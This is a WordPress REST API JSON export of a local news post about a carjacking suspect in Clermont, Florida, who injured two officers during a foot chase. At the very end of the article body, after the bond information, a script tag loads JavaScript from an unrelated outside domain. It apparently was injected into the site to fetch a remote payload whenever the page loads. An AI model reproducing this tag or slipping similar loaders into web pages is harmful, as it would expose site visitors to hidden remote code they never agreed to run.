{"id":220448,"date":"2018-09-19T21:30:08","date_gmt":"2018-09-20T01:30:08","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=220448"},"modified":"2018-09-25T18:31:25","modified_gmt":"2018-09-25T22:31:25","slug":"two-clermont-police-officers-injured-in-foot-pursuit-of-carjacking-suspect","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/two-clermont-police-officers-injured-in-foot-pursuit-of-carjacking-suspect\/","title":{"rendered":"Two Clermont Police Officers Injured in Foot Pursuit of Carjacking Suspect"},"content":{"rendered":"<p>CLERMONT,\u00a0Fla. &#8212; Two Clermont City Police Officers were injured during a foot pursuit of a robbery suspect after responding to a call about a possible robbery and carjacking.<\/p>\n<p>The alleged suspect, David W. Cox,\u00a0attempted to carjack a woman in the Publix parking lot in the area of County Road 455 and State Road 50 as she was having lunch in her car.<\/p>\n<p>Police responded to the call at 11:15 a.m. Monday.<\/p>\n<p>Police say the woman reportedly fought the man off as he attempted to carjack her.<\/p>\n<p><span style=\"float: none; background-color: transparent; color: #333333; font-family: -apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen-Sans,Ubuntu,Cantarell,'Helvetica Neue',sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; line-height: 22.4px; text-align: left; text-decoration: none; text-indent: 0px;\">As the officers approached the suspect he fled on foot running across six lanes of traffic and then into a wooded area near Toyota of Clermont.<\/span><\/p>\n<p><span style=\"float: none; background-color: transparent; color: #333333; font-family: -apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen-Sans,Ubuntu,Cantarell,'Helvetica Neue',sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; line-height: 22.4px; text-align: left; text-decoration: none; text-indent: 0px;\">When Cox tried to run into a wooded area, sheriff\u2019s deputies fired a taser after he refused to stop.<\/span><\/p>\n<p><span style=\"float: none; background-color: transparent; color: #333333; font-family: -apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen-Sans,Ubuntu,Cantarell,'Helvetica Neue',sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; line-height: 22.4px; text-align: left; text-decoration: none; text-indent: 0px;\">Cox was charged with carjacking, battery, and resisting arrest without violence.<\/span><\/p>\n<p><span style=\"float: none; background-color: transparent; color: #333333; font-family: -apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen-Sans,Ubuntu,Cantarell,'Helvetica Neue',sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; line-height: 22.4px; text-align: left; text-decoration: none; text-indent: 0px;\">According to court records, Cox is also facing charges of aggravated battery for a July 2 arrest. The victim was<\/span> later able to identify him.<\/p>\n<p>Both officers are still recovering from their injuries but are expected to make s full recovery.<\/p>\n<p>Cox was transported to the Lake County Jail where he remains in lieu of a $27,000 bond.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Carjacking suspect leads Clermont police on foot chase and leaves two officers injured.<\/p>\n","protected":false},"author":26806,"featured_media":220461,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3244,3245,325,6,1],"tags":[],"class_list":["post-220448","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arrests","category-crime","category-florida-news","category-lake-county","category-local","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/david-cox.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/220448","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/26806"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=220448"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/220448\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/220461"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=220448"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=220448"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=220448"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}